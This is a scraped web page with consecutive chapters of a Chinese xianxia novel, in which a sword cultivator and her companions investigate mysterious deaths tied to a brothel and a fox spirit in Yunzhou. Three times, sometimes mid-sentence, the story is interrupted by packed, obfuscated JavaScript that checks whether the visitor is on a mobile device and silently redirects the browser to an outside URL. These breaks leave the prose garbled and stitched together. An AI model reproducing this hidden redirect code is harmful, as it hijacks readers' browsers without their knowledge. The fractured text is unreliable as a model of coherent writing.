l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027675|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失踪,掌门的意思让你赶快出发去云州搭救。” 柳伏意仿佛被重击了一下,这些天吃吃喝喝散掉的压力一瞬间又回到她心头上。 游山居外依旧回荡着悠扬的笛声,这儿清净舒服的就不像是一个修仙人士该待的。 柳伏意看着面前满满当当的吃食,满脑子都只剩下一个念头。 如果她不压制天命剑,天命就会更早给她提示,横山或许就不用死了。 顾元香看出柳伏意面色苍白,犹疑片刻就扶她坐下来:“掌门也说了,如果你还是不舒服,也可以不去。由你坐镇灵剑派他也可以放心,他会自行前去云州。” 林秋池是顾念着林夕照在云州,伏意看见他心里难免有刺。 柳伏意几乎是立刻摇了摇头,她不可能一错再错。 “我去,我现在就去。” 柳伏意抄起天命剑就要掐瞬行咒,被顾元香拦了一道。她不知道为什么柳伏意突然愿意接受天命剑了,但伏意几乎没有怎么下过山,这些年外头变化这么大,她被保护的太好,没有人盯着要认出那些阴险毒辣的诡计也不容易。 “带我一起去,有些东西你没见过。”元香搭着她的手臂,柳伏意也不废话,闭眼念咒,紧接着她们二人就落在云州内部的一处仙门驿站。 虽说瞬行咒的确好用,但也不是什么地方都能够肆无忌惮地过去。瞬行咒向来都只方便去一些已经被排查过、并且有仙门修士接应的驿站点。 柳伏意紧接着于掌中凝出一道传音箭,是送给林秋池的:“师父,徒儿已至云州,您放心,我会把夕照和剩下的弟子都安然无恙带回去的。” 顾元香站在她身边,眼看着金色灵箭划破长空消失于云端,伏意眼眶中的一颗眼泪也终于落了下来。 “师妹,还认得我吗?”柳伏意连忙把眼泪擦尽了,她没心情说闲话,自然恢复成了无情道修士寡言少语生人勿近的样子。 循着声音看过去,是个八仙桌旁坐着的流浪儿。伏意过去坐下,元香也就只能忍着不适跟过去了。 面前的流浪汉头发炸着,身上的衣服也不知是多久没有换过,汗臭味、酒味儿和馊味儿都差点把元香熏的晕过去。 她西域的朋友养蛊都没有弄的这么臭! “阁下是……?”柳伏意表情没有什么奇怪,凑近了在流浪汉满脸的灰污泥垢中尽力分辨他的五官。 流浪汉哈哈一笑,不轻不重地拍了她一掌:“果然我走的太早了,那时候你才刚入师父门下呢,不怪你没什么印象。我呀,大师兄阮长风!” 阮长风?!顾元香瞠目结舌,她虽然没有拜进掌门门下但她也是听说过掌门的五个亲传弟子大名的。小五柳伏意名气最大,其次就是老大阮长风。修界盛传阮长风是年轻一辈里第一个能够坚守住无情道的,为人胸怀坦荡风流倜傥,剑术无双并且自学机关术,所成机关灵巧精细,就连锻造门的掌门都得避其锋芒,堪称灵剑派年轻一辈中的翘楚。 顾元香嫌弃地上下扫了对面这个流浪汉一眼。 就他?风流倜傥??翘楚?? 柳伏意规规矩矩地给阮长风行了个礼,事出紧急,他们也顾不上谈别的,阮长风一面给柳伏意递乔装打扮的衣服,一面给她讲解这些天云州发生的怪事。 阮长风道:“云州已知的死者有七个人,六男一女。清缈峰失踪了八个弟子,五男三女,还有就是林夕照和他相好的文柔。” 5. 九命狐(一) “云州地处偏僻,不算富庶,属于合欢宗的管辖范围。二十多日前三位上官来访,万年县令想足了法子好生招待,大约十七日前他们约定好回京述职。结果当晚一位都没能离开万年县,俱是死于非命。另外两位死者是大概十七八天前死的,是合欢宗的弟子,一位叫云宗一位叫木瑞。合欢宗的宗主姜美娘说这二位是追查宗内叛逃的弟子而来,是被叛逃的弟子杀人灭口的,不属于妖物作祟的受害者。” 阮长风一一介绍最初的五位死者,现下死了横山又有九位弟子不知所踪不知生死,实在没有时间再让伏意细细去查卷宗了。 他想起合欢宗,总觉得有些说不出的古怪:“姜美娘是这么说。不过这五人的尸体都不是像寻常一样慢慢烂掉,反而是头七天看着和睡着了似的没什么变化,过了七天迅速成为腐尸,腥臭异常。” 正因为姜美娘太过明显的欲盖弥彰,他才和清缈峰的人分开,蹲守合欢宗蹲了半个月。 听他这样讲,伏意心下不由紧了紧,天道刚才说了,孽缘严重的才会导致一方水土灵气有异。林夕照和文柔已经到如此地步了吗? 阮长风从一旁的杂物堆里掏出两面镜子来分别递了过去,“这两个弟子身上都有这样的镜子,制作精巧不像是合欢宗能做的,感觉像皇宫里的东西。” 柳伏意拿来正反瞅了瞅,没看出什么特别的。 阮长风微微叹了口气:“你看这种雕花和色漆,明显就不是为了好用或者下咒,就是为了哄姑娘家开心做的好看的款式。而且这种金凤团花纹样的,大概也只有上京城那种顶顶有钱的地方才能拿出来。合欢宗弟子攒两年的钱,不知道能不能买得起一面呢。” 柳伏意若有所思:“噢~因为买不起,起了歪心思然后就被杀啦?” “开什么玩笑,穷也不是死罪啊。我简单查了一下这两位弟子的生平,口碑极好,人缘颇佳,家境贫寒,这两面镜子应当是来了云州才有所得。恰巧衙门里来了个少年认领遗物,一眼看见这两面镜子,说是他爹在蹴鞠大会上拔得头筹,皇后娘娘的赏赐。” 阮长风见二位没什么问题,继续绕回案情本身, “姜美娘说的叛逃的弟子其实是个姑娘家,手不能提肩不能扛柔弱至极,学不会合欢秘术才跑的。云宗木瑞死的时候那姑娘正在衙门里,几个衙役看着她没离开过屋子,不可能是她杀的人。 我便告知横山师叔,他的独门绝学追魂求真有一招能够借死人的眼珠看到死前的场景,他告诉我,云宗木瑞死前浑浑噩噩,照了几下镜子就自杀了。 而另外三名死者死了太久眼睛已经浑浊,就没有办法看见了。” 顾元香本来还在欣赏那面格外精致的金凤团花镜,听他这么一说吓得手一抖将镜子给扔了出去,稳稳落在阮长风怀里。 “这也太诡异了吧?两个大男人照了镜子就自杀啊?”顾元香话音刚落,自己就想到了什么,“那倒也不是没办法……古时候曾有一种说法,镜中世界与外界是一模一样的,因此也有一些人特别研究镜中术,将法术施在镜子上,人只要一照镜子就会中招。” 用镜中术杀人的极少,毕竟施法时要保证自己目不斜视,极易伤敌一千自损八百。 阮长风点点头,掏出随身的牛皮纸来记了些新线索,说:“这两面镜子是如何从三位官员身上转到两个小弟子身上我也找人打听出来了,说是在云州最大的一处青楼。三位上官豪掷千金,逗美人一笑,这两面镜子就是楼里姑娘转送给云宗木瑞的。” 正是因为所有的线索都指向春芳楼,横山才进去探了探,哪知一山之长便如此草率地一去不回了。 顾元香道:“书上说妖物哪怕害一个人,抢夺一个人的气运功德都可以功力大增……就算没杀了这五个人,光是衡山尊者的修为就够这妖精提一阶修为吧?真是不敢想啊,现在云州就咱们仨……靠谱吗?” 三人面面相觑,说实在看上去特别不靠谱。一个是灵剑派常年倒数第一的顾元香,一个是不知道为什么连本命剑都放弃的乞丐大师兄阮长风,能打的似乎只有柳伏意一个。况且伏意的修为虽说在同龄人之中出类拔萃毫无敌手,但对方若是个熬资历的大妖,让她硬对上恐怕也讨不着好处。 阮长风点点头,他没忍住叹气:“其实我原想着,最好是林秋池亲自来走一趟,因为云州的事牵扯合欢宗,又和青楼有脱不开的关系。女孩子进去总有些不方便的。” 柳伏意不在意为了驱鬼除妖需要做些什么样的表面功夫,问:“那我们接下来怎么行动?” “横山师叔同我说他会去探查春芳楼,之后便听得他的死讯,恐怕幕后的妖怪已经被惊动了。失踪的九个弟子情况必定十分的紧急……”阮长风顿了顿,“我们只能明知山有虎偏向虎山行,没有时间再找别的路子,春芳楼是最为直接的。” 顾元香眼睛骨碌一转,横山师叔和合欢宗女弟子的死不好说,但就算是只看先前的五位死者,春芳楼怕也是他们一行的必经之地。 阮长风转身从驿站里头又比照顾元香的身高尺寸拿了套衣服出来。他说:“女子在云州行事多有不便,你二人去换好男装,一炷香之后我们在这里会合,我先带你们去见七具尸体。” 横山与那女弟子死得太过突然,阮长风也没仔细看过尸体,是否能有新的说法,都等先看过才知道。 柳伏意和顾元香进了一间房更衣,顾元香一面套上那件袍子,一面略有不满。柳伏意那套哪怕还没上身,她都能看出这套衣服价值不菲,烛光之下锦衣之上光晕连连,凑近看了更是惊艳,一针一线绣的云纹针脚整齐没有一处错漏,外袍上那只栩栩如生的金线麒麟线条匀称一气呵成。 用阮长风刚刚那句话来形容就是,剑修攒两年的钱都买不起一套。 只不过这个颜色又是赤红又是金线的,太过绚丽耀眼,让柳伏意这样的人看上去都好像沾上了几分浑然天成的纨绔气。 反观自己身上这件,就没有那么扎眼了。剑修攒攒钱应当还是买得起的。 一炷香过后,顾元香出来已经完全认不出阮长风了。若不是柳伏意对面前衣冠楚楚的俊秀郎君颔首抱拳唤了一句师兄,顾元香都觉得那乞丐是觉得前路危险丢下她们跑了。 阮长风许久没有打扮,此刻穿的正儿八经的,脚还是不自觉就想往凳子上搭。 “伏意,你那身衣服叫做织金麒麟锦,是第三个死者的小儿子的,他儿子来万年县给老爹收尸,被我给扣下了。青楼内的女子见钱眼开,你穿的体面她们会主动往你跟前凑,方便你打探消息,当然了,如果真的有危险死也是你第一个死。现在要是脱下来跟师兄换,师兄也是可以答应的。” 阮长风转眼停在顾元香身上, “你这身衣服没有麒麟锦那么贵,但也不算便宜,所以你接触不到青楼里的核心人物,只有一些容貌较为普通不受追捧的姑娘会看在钱的面子上亲近你,你的目标就是这一类人。我在万年县呆了一段时间,春芳楼的姑娘们难保没见过我,所以春芳楼得你们俩自己去,怎么保命也自己想好,我只能在外协助,没有带剑也使不出剑术,救不了你们。” 顾元香点点头,心里有些难为情,她刚刚才觉得阮长风偏心来着,合着是把最危险的留给自己师妹了。 他交代完就领着两位貌似俊朗的“男子”走出了驿站,三位各有各的气质,看上去倒也是养眼。 衙门现如今也是人心惶惶,县令逼着他们限期破案,否则便要衙门里头找替死鬼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027676|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报,各位官差别提多么愁眉苦脸。连灵剑派的衡山尊者都丧了命,他们更加拿暗地里的妖物没有办法。阮长风带着两位气宇不凡的清秀郎君进来的时候,捕头正带头在写遗书。 “嗨王大哥,怎么你们这儿死气沉沉的。” 捕头王明连忙冲上来捂他的嘴:“哎哟哎哟我的好兄弟,现在咱们全衙门上下都听不得这个死字。” 他说完面带微笑看向柳伏意和顾元香,这个穿赤红衣袍的呢身材高挑,若说她是个男子也大可接受,但这个穿淡黄色衣服的,身高不足,杏眼明亮,脸颊上还带着些婴儿肥,见了多少男子也没见过这样的。 “我看这位公子可以进春芳楼,这位便不成了。”王明早就和阮长风通过气儿,领着他们上停尸房去,“这位女相太明显了,我这种天天和人打交道的一眼就能看出来是姑娘家,别提春芳楼里都是些看人下菜碟的人精了。如果要去,要么易容,要么就以女子的身份去。” 顾元香翻了个白眼,那她折腾这么一遭干什么? 王明道:“姑娘似乎也不了解民间的习惯,女子呢是不可以明目张胆地进青楼的,总会被人说闲话。不过也例外,比如乔装打扮去抓奸的,这些年比较多,也有别的青楼去讨教功夫的。这两种情况您自己看哪个好使,我就不多干预了。” 王捕头挠了挠头憨笑几声,看起来也不好意思同仙门中人提及此事。但似乎也是在心底压久了,非要说出来才安心些。 “而且云州这儿,姑娘们晚间基本是不会出门的。”他道,“云州一直有夜哭狐的传闻。” “夜哭狐?”阮长风来了这么些天,也没听谁跟他说起过。不过每处水土都有独特的志怪传闻,这也不足为奇。 王明紧着眉头道:“云州最初在战乱时便是割据一方的土皇帝酒池肉林之所,后来天下一统靠皮肉生意起家,可以说是踩着女子尸骨才有了如今的安稳富庶。常人说女子属阴,本就不吉利,加上又被残忍对待抽筋剥骨,一来二去就成了怨鬼。凡是听见妙龄少女的啼哭声,子夜窗棂上就会映出一只笑吟吟的狐脸。见了夜哭狐的人无一幸免,不是失踪就是死全家。所以云州这儿的女子都被视为不详,有些人家生了姑娘甚至不会让人知道,夸张的养到及笄嫁去外地,邻里才知道他家有女儿。” 王明的脚步停在一处燃着长明灯的屋内,门窗大开,晚风得以吹进去将尸臭味吹散一些。 柳伏意本以为会在尸体上看出些门道,但她眼里的人还和从前一样,没有天命所说的什么因果线的踪迹。她仔细看过几人的尸首,目光在那姑娘家身上停了停。 “她叫赵蕊初,是当着衙役的面儿自己掐死自己的。”阮长风道。 “就是啊,也就是二十天前吧。云宗和木瑞追杀她,她一路跑闯进了衙门里头,然后啊我们当然就把她保护起来了。蕊初姑娘是我们一直放在眼皮子底下的,文宗木瑞死了之后也是我们带着她认领尸首,当晚就把这姑娘吓得魂不附体哭了大半宿。我觉着是不是真吓得中邪了?约莫是今天正午的时候,蕊初姑娘就突然闹开了,自己掐着自己,脸都憋的通红愣是不撒手。我们上去拦也没用,那力道大的都不像姑娘家,活生生给自己掐死了!” 王明脸上横肉歪七扭八,八尺男儿没忍住哆嗦了两下:“各位仙长……有没有可能是夜哭狐索命害死了蕊初姑娘啊?” 柳伏意不做回答,目光落在蕊初脖子上,玉白的脖颈上不止有掐痕,还有些指甲抓烂皮肤的旧伤。 “这些旧伤是怎么来的?” 阮长风说的并不确定:“应该是练不成秘术,合欢宗内部的惩罚吧。” 柳伏意正欲离开,识海中响起天命的声音:“伏意,因果不对,我教你开天眼。” 6. 九命狐(二) 柳伏意忙听从天命剑的指引,将所有灵力汇于双指之上,闭目凝神念诵咒文。 “左眼看因果,右眼观众生。所谓天眼左右不同,咒语自然也不同,今日是第一次,你可以都试一试。” 伏意跟着识海之内的指引,念道:“窥虚溯源,见因之本,孽债显形,真灵毕现!” 她淡青色的灵力拂过左眼,再睁眼时一圈淡蓝的波纹便从眼眶中逐渐缩小,直到化为紧贴着瞳孔外的一圈蓝纹。 她看得见了,每个人身上的,属于天道的痕迹。 “天命,怎么样的因果才算是不正常的?”她声音不大,像是喃喃自语。 阮长风不知道师妹拿了天命剑,正欲发问就被顾元香推着出了停尸房,顺手揪了旁边的王明一起。 停尸房内只剩下柳伏意一个人,和七具形态各异的尸体。停尸房陈旧的木门大敞着,被风吹的时开时关,后来索性是弄懂了状况的阮长风和顾元香一人卡着一边固定住了。 他们从原来的好奇变成沉默,因为他们心里的柳伏意,从来都自信,她脸上从来没有出现过切切实实的迷茫。 狭小昏暗的停尸房里,只有柳伏意一个人的声音。 “黑线业孽极深,死不超生。红线是孽德平衡尚且可救,白线是功德昭彰,心思良善。”天命回答她,“按照天道的设定,我只能够回答你因果有关的问题,如果你需要我透露些别的我也不是不能说,就是你可能得承担一些后果。” 靠,那还算什么狗屁的天选之子啊?! 柳伏意想起历代短命的剑主,好像终于明白原因是什么。凡人之躯可窥天命,那也只是可以窥见天道允许你参悟的,维持世间阴阳平衡的那一部分,而天道需要你自己探索的剩下的部分,只要天命透露,那所有的报应都由剑主本人来为自己的好奇买单。 伏意连忙出声:“好了你别说了,我还没有活够,我自己查就是了。” 天命只在她识海中讲话,没有天道和她说话时那么冲,讲什么都淡淡的:“不要寒心啦伏意,从前的天道对于天命剑主的确是知无不言的,结果那一任天命剑主走火入魔,成为了天道最棘手的问题。” 伏意反应不过来是第几任,天命紧接着就说:“第二任,传言他是被九十九道天雷劈的魂飞魄散连骨头渣子都不剩,其实真相远不止如此。那段日子的人间太过黑暗,后世不堪回首,就把这段记载给抹去了。你想知道的话有空我讲给你听~” “那我现在在做好事,天道就不能解了这个禁锢吗?” 天命此时却是笑了:“如果那家伙真能随意修改规则,他就不需要等这么多年选一任天命剑主来代行他的意志了。等你能够熟练运用天命剑,就可以主动找他谈条件,现在还不是时候。” 伏意不管了,眼下还是查人命案比较重要。 她低头一个个看过去,她面前的七具尸体,三位朝廷命官身上罪孽滔天,因果线是极正的带着阴气的黑线,黑线密密麻麻仿佛在三位官员身上织成了密不透风的蛛网。 其余四位,彻彻底底的白线。 “为什么有的人线多,有的人线少?” 天命道:“黑白表因果善恶,数量自然表人命交际。这每条黑线就是害过一条命,每条白线自然是帮助过一个人,攒了一个人的功德。” 那这三个朝廷命官死的也不冤啊。 她默默抽了一口气平复心情,按照天命的指引,开右眼,观众生。 “慧光穿障,本源尽览,诸印现形,诸象分明。” 温和的灵力继而掠过右眼,淡金色的光环绕着瞳孔同样化为一圈细小的花纹。她捂着左眼朝七具尸体看去,眼中再没有男女的分别,七人皆是一具简单的黑色虚影。所谓观众生,就是抛却一切外在,把每个人身上不属于自己的气息都显现出来。 七具尸体中有六人身上都写着一个血红凄厉的“债”字,字迹苍劲笔画有力,倒像是卯足了恨意刻在灵魂上的。三位朝廷命官和合欢宗两位弟子身上的“债”字已经沉寂,看上去没有什么特别,然而横山身上的“债”字,血气正在慢慢流淌的,从上到下,再由下转上,循环往复,不曾停歇。柳伏意想了想,这“债”字的分别大概是由于前面五人死的久了血气已干,而横山的身体却是新鲜的,体内仍有剩余的气血以供流转。 七人之中,唯独没有“债”字烙印的就是最右边的赵蕊初。 男性才有的债? 柳伏意想起师兄说的,前面五人必定都去过春芳楼,难道是风流债?她横山师叔一大把年纪了能招惹什么风流债? 她看完了,转身走出停尸房,阮长风和顾元香一左一右地架着她:“看见啥啦?” 伏意正要开口,天命就打断了她:“因果一事不可说,其余可以。”也就是说左眼看见的不能说,右眼可以。 她很快理顺了思绪,转头对顾元香说:“七具尸体,六个男性身上都有一个血红色的债字,我想应该是风流债的意思吧?你听说过这种妖精吗?” 顾元香仔细想了想,能惹上风流债的妖精不少,但是能在死人身上还留下痕迹的着实耸人听闻。况且是这种涉及天命的人才能够看清楚,那这妖精的修为或者说出身,都远远超出了她的想象。 “我脑子里有个很模糊的印象,但我感觉没什么可能……”顾元香眉头紧锁,她道,“这样吧,总归我会以女人的身份进春芳楼,她们不会留我太久,我一出来就回清月峰翻书查证一下,如果是真的我再告诉你。” 伏意点点头,她从怀里掏出一张易容符,一手将符咒按在自己脑门上,一手扯住大师兄的袖子,转而将手掌贴在他面门—— 符咒上金光一闪,再拿下来的时候柳伏意的脸和阮长风长的一模一样,除此之外别的倒是没有变化。 “喂,你不都已经换上男装了吗?有必要特地换我的脸去逛青楼吗……”阮长风看着比他矮了一截的另一个自己,不由无奈地翻了个白眼。他想起什么,指着伏意惊呼出声,“你该不会是要在春芳楼过夜吧!你不怕死在那啊!” 顾元香也扯了她一把小声道:“对啊不然就让你大师兄进去吧,你又没有那玩意儿要是露馅了不得被剁成肉泥包饺子啊?” 阮长风叉着腰逼近一步,元香本就长的娇小,被他这么一盯看上去更没底气。 “什么叫就让我去啊?你怎么不去啊?” “你自己说的伏意不想去可以把衣服脱了跟你换的!懂不懂轻重缓急啊?死的都是男子,你去不是更能引人上钩吗?” “我又没带剑,我进去怎么脱身呢!伏意的命是命,我的命就不是命了?” 元香狠狠白他一眼,从背后抽出一把佩剑来分给他:“给你一把剑你倒是去呀!我还以为做大师兄的有多么关照师妹呢,原来只是打定主意看清伏意不会让你去,装模作样罢了!” 阮长风满腔怒火无处发泄,转眼瞥见他手中佩剑的名字。 “怕死?” 顾元香的脸蹭的一下就红了,小姑娘紧紧攥着拳,一脚毫不留情地跺在阮长风脚面上,疼得他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027677|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当即倒在地上吱哇乱叫。元香上前一步把怕死拿回来,就差没吐阮长风一口唾沫。 到底谁传的灵剑派大师兄玉树临风温和知礼的?无良碎嘴害人不浅。 “你这个小疯子!” 柳伏意无奈上前一步卡在两人中间,伸出手来示意二人别吵了,元香看见她也不由憋着一股气儿。 “伏意,你快走吧,趁早查清楚把你的漂亮脸蛋儿换回来。你顶着这张脸做表情我也有给你一拳的冲动。” 伏意肉眼可见地愣了几秒,随即听话地往前走几步没再回头。 “那你们就吵一会儿吧,千万别忘了正事儿。” 伏意三步并作两步地跑了,后面的王明只能顶她的空缺来劝架。 “二位都消消气儿吧,活着不容易,各有各的难处……” 俩人同时伸手一人打他一边脸。 王明:那我不打扰了,遗书还没写完呢。 “咱们一共三个人,只有你没事儿干,好好想想是为什么。” 顾元香扭头就走,阮长风脚上疼得发烫,感觉应该被她踩肿了。他没好气地自嘲一笑,高声喊住了她:“我记得你是伏意带过来的吧?现在她脱不了身,你的功课倒数第一我也略有耳闻,你是会御剑还是会瞬行?要是耽误了时间信息不到位,伏意有个什么好歹怎么办?” 顾元香:…… 没办法,技不如人,只能忍着满肚子火气又折了回去。 “笑脸儿。”阮长风坐在地上瞟她一眼,顾元香便皮笑肉不笑地将他搀了起来。 早知道有今天,她就好好学习了。 “嗯~不讲话的时候还是蛮可爱的嘛。” 阮长风把胳膊肘撑在元香脑袋上,颇有自己赢了骂战的心满意足劲儿。 “我忘记告诉你了,我是西域来的留学生噢。我们那个地方蛊虫遍地,乱七八糟的咒术更是层出不穷,你应该知道的吧?” 阮长风混迹人间都有几十年,自然听出元香的言外之意,老老实实地被她搀着,一瘸一拐地走出衙门。 上了街,两个人就再也没有说过话。 春芳楼位于云州最为繁华的一处长元坊内。站在衙门门口往远处眺望,最明显最漂亮的那处飞檐,阮长风告诉她那就是春芳楼。此时正是傍晚,夕阳将斜,层云霞蔚,分明是良辰美景,顾元香却感觉自己走的每一步都是在向火坑靠近。 她满脑袋胡思乱想,根本没印象自己走了多久。 距离春芳楼正门口只剩一个拐角,阮长风伸手把心不在焉的元香拉住了。 楼内红烛摇曳,轻纱漫卷,丝竹声声入耳,蒙了面的姑娘们身姿袅袅,裙摆如蝶。大堂内正有几位美人翩翩起舞,脚上系着小巧银铃,一动一响,媚骨勾人。 一楼不见柳伏意的身影,想来她或许已经找到自己想问的对象了。 站在春芳楼的拐角处,顾元香正发着抖,从背上卸下两把剑来。 阮长风看出她心里的紧张,轻轻按住她的肩:“不要怕,我就在门口等着,你问几句话就出来,如果在楼里出了什么事情就大声喊伏意,她一定听得见的。” 顾元香从前历练时也不胆小,但现下春芳楼里什么消息都没有,简直是硬拿人进去探,和羊入虎口虎口拔牙有啥区别啊! 她知道柳伏意自保肯定没有问题,但遇上个真难解决的大妖,难保伏意能抽出手来护着她。 阮长风抱臂,暗含笑意眉眼微抬:“实在害怕,你也可以不去。贪生怕死剑,果然没有找错主人。” 7. 九命狐(三) 顾元香闻言冷眼剜了他一眼刀,转头就走进了那家青楼。 春芳楼上中下三层,最底下那层自然是没什么钱的人在那儿看看歌舞,别说和楼里貌若天仙的姑娘们一亲芳泽,哪怕是上手碰一下都怕兜里没子儿被扣下。 元香扫一眼,从她的视角往上眺,刚巧可以看见二楼的柳伏意。 一身织金麒麟锦的俊秀“少年”正揽着一左一右两位美人儿,不住地被灌酒。二楼欢声笑语,素手添香,俊男配美女养眼得很。 如果不是知道个中缘由,她真的会觉得那只是个来寻欢的纨绔子弟。 元香不想耽误,随手扯了一位姑娘的胳膊。肌肤相触,冷热相接,元香便下意识地弹开了。 时值春日,就算有些倒春寒,这姑娘裸露在外的皮肤也不可能这样冰冷的。除非…… 她是死人???还是妖怪??? 顾元香好不容易壮起来的胆子顷刻间烟消云散,可爱小巧的五官霎时间揉成一团。 “这位……呵,公子,怎么了?” 比她高了半个头的姑娘眸若含春,一字一句妩媚动人,说话时手里攥着的一方丝帕轻轻扫过元香脸颊,叫她整个人僵硬的笔直。 顾元香抬头极快地从二楼扫了一眼,伏意还在被灌酒…… “姐姐,你莫要取笑我了。”元香笑着,眼角泛着点点泪意,明明是被吓得忍不住,落在别人眼里却好像是委屈至极。 她拉住的姑娘倒是不恼,将她牵到一处无人角落,正对着舞台处的死角。 “奴家郑怜,妹妹来这儿所为何事?好好的,怎么一说话就哭了呢。” 郑怜用手里的丝帕给元香擦掉眼泪,元香没有感觉到危险,浑身紧绷的弦儿才松下来。 丝帕从她眼角轻轻点走泪珠,比起脸上那片轻柔冰凉的触感,元香满脑子不可遏制的想法就是……姐姐好香。 她现在明白为什么形容女孩子都用冰肌玉骨温香软玉这种词了。 竟然是写实派? “怜儿姐姐,我家那口子不要我了!我原以为他只是家里事儿多烦得很,散散心就好了……哪知他是成天成夜的不回家,一回家就对我动辄打骂……跟隔壁的张娘子好上不说,今儿连春芳楼都来了!”她瞟了一眼郑怜的眼神,一个转头就锁定了楼上的柳伏意。 元香指着二楼“纵情声色”的少年,急得眼泪直冒:“怜儿姐姐,就是他!他这么对我,我能怎么办?姐姐,你教我怎么样能让夫君回心转意好不好?什么苦我都可以吃的,媚术,下毒,诅咒,我全都无所谓。” 她哭得呜咽:“他怎么能不爱我了,我什么都给他了。” 郑怜轻轻抚着她的背,默不作声地抬眸循着元香的手指看过去,视线落在红衣少年身上时没来由地冷了几分。 “妹妹,男人哪有不偷腥的?何必为了男子,放下身段儿来学些不入流的技艺。”郑怜言辞恳切,眼波流转之间尽是同情,甚至还有一些心疼。 顾元香有些懵了,一时眼泪都忘记掉,像是伤心傻了。 郑怜微微舒了口气,略微福身揉了揉她的头:“妹妹,回去吧,春芳楼不是你该来的地方。至于你夫君,他的心既然已经不在你身上了,媚术毒药,都是无用功了。” “这年头的负心汉真多。” 郑怜呢喃着什么,哪怕是顾元香和她面对着面,可她们二人之间的距离逐渐拉远。 五步之遥,戏台之上歌乐靡靡,乍响的丝竹管弦之声将郑怜的最后一句话完全盖过。 她挥了挥手示意元香可以离去,宽大的袖袍禁不住动作而滑落,露出郑怜白皙纤细的小臂。 她养在春芳楼里似乎待遇极好,手臂上缠着清一色的金镯玉石。翩翩起舞的时候,金玉相撞,环佩泠泠。 郑怜快步迎着舞乐,身姿轻盈如流风回雪,淡粉色的披帛随着舞步旋转飞扬,仿佛一朵嫣然绽放的莲花。 千娇百媚,婀娜多姿。 唯一觉着不和谐的,就是她手腕处的一根红绳。 没有吊坠,并不精巧,很普通,普通得在大美人手上显得不伦不类。 眼看着没机会再打探什么,顾元香便转身出去了。 外头阮长风见顾元香的脸色比鬼还难看,一等到她靠近就将她拉进拐角处,二人蹲在一处草垛后藏的严严实实。 “你怎么这么快就出来了?这么点时间能问到啥?”阮长风说着,从怀里掏出一只小木鸟,四处掰了掰木头翅膀木头脑袋,整只木鸟纹丝不动,结实得很。 顾元香叹了口气,她从春芳楼出来只觉得恍如隔世,外头这样的安静让她脑子里那个妖物的形象越来越清晰。 “你当我傻呀,连横山师叔都栽了,我提死者是生怕没人出来砍我吗?”她小卖了个关子,“但我想起来那妖物是什么了。” 阮长风顿时正色欺身上前,把耳朵凑了上去。 顾元香推开他:“就是一种狐狸,可能真的是和云州一直以来的夜哭狐传闻有关。我得回灵剑派查一查具体细节。你快送我回去。” 阮长风点点头,将小木鸟放在她手心里。 顾元香:“?” 阮长风掌中聚起一阵细微的灵力,饶是元香这种常年倒数第一的,能调动的灵力或许都比他多。 他真的靠谱吗? 顾元香已经面露不耐。 阮长风灵力打入小木鸟的那一瞬间,瞬行阵法便从木鸟脚下轰然展开,笨笨呆呆的木鸟摇摆几下、翅膀微颤,像是刚从窝里出来学飞行的,顾元香连忙捏紧了它。 灵光一闪而过,瞬行阵法便切割了她面前的景象,法阵之内她只觉得身姿轻盈,长风掠过耳畔簌簌作响。 再一睁眼,元香已经身在清月峰禅房。 行吧,算他有本事。 而春芳楼里,柳伏意就没有那么容易摆脱了。她知道元香大概率问不出什么,一旦提及六名男性死者的身份,简直就是打上门来告诉对方,我抓住了你的把柄,你不杀我就等着被我杀吧。 那么不提死者,一个女子女扮男装进青楼来,还能问出什么?只盼她机灵点儿,能从楼里头姑娘的神色打扮看出点门道来。即便看不出来,保住自己小命就是了。 她佯装喝多了,几位姑娘自然把她扶到房里躺下,任她一个人呆着。 天命幽幽开口:“我要是没算错,你修无情道有一条铁律是不沾酒色吧?好孩子,你今天犯了两条门规了。” 伏意无所谓,她喝了那么多酒,也没有话本里说的那么晕,血气上涌,控制不住自己的行为。 反而更清醒了。 “靠问是没什么用了,要不然你再教我一些新招呢。” 天命没有立刻回答,经过好一阵子的沉默,他才说:“不行,你连开天眼都没学精通,切忌盲目赶进度。” 屋内两扇木窗半开半合,也没有什么防人出去的阵法。此处隔音不是很好,她躺在软绵绵的床上还能听见外头叫卖糖葫芦的声音。 一门之隔,姑娘家三三两两的聊天谈话,无非是今天擦了什么胭脂,哪位郎君给的钱多,哪个又脾气好好伺候。 安逸的不像在找大妖。 伏意翻了个身,看见天命剑不知何时自己显形躺在被窝里了。 “我只试了开左眼和开右眼,那要是我两句一起念,两眼一起开,会有什么神效吗?” 一只眼能看见线,一只眼能看见人形,拼在一起也没什么特别的吧。 “你可以试试,反正外头全是人,活人,多看看也没什么不好。” 这话听上去怪怪的,或许是天命把重音落在“活人”两个字上,语调微扬,大有幸灾乐祸的嫌疑。 搞不懂,怎么讲话都带着空灵神性的混响了还能这么欠揍。 伏意坐起来,念出两段咒语,左右开弓镀天眼。她感觉到眼眶里瞳孔旁些许细微的变化,灵力入眼总觉得有点儿刺目肿胀。 她下床,一面揉着眼睛,一面打开了房门。 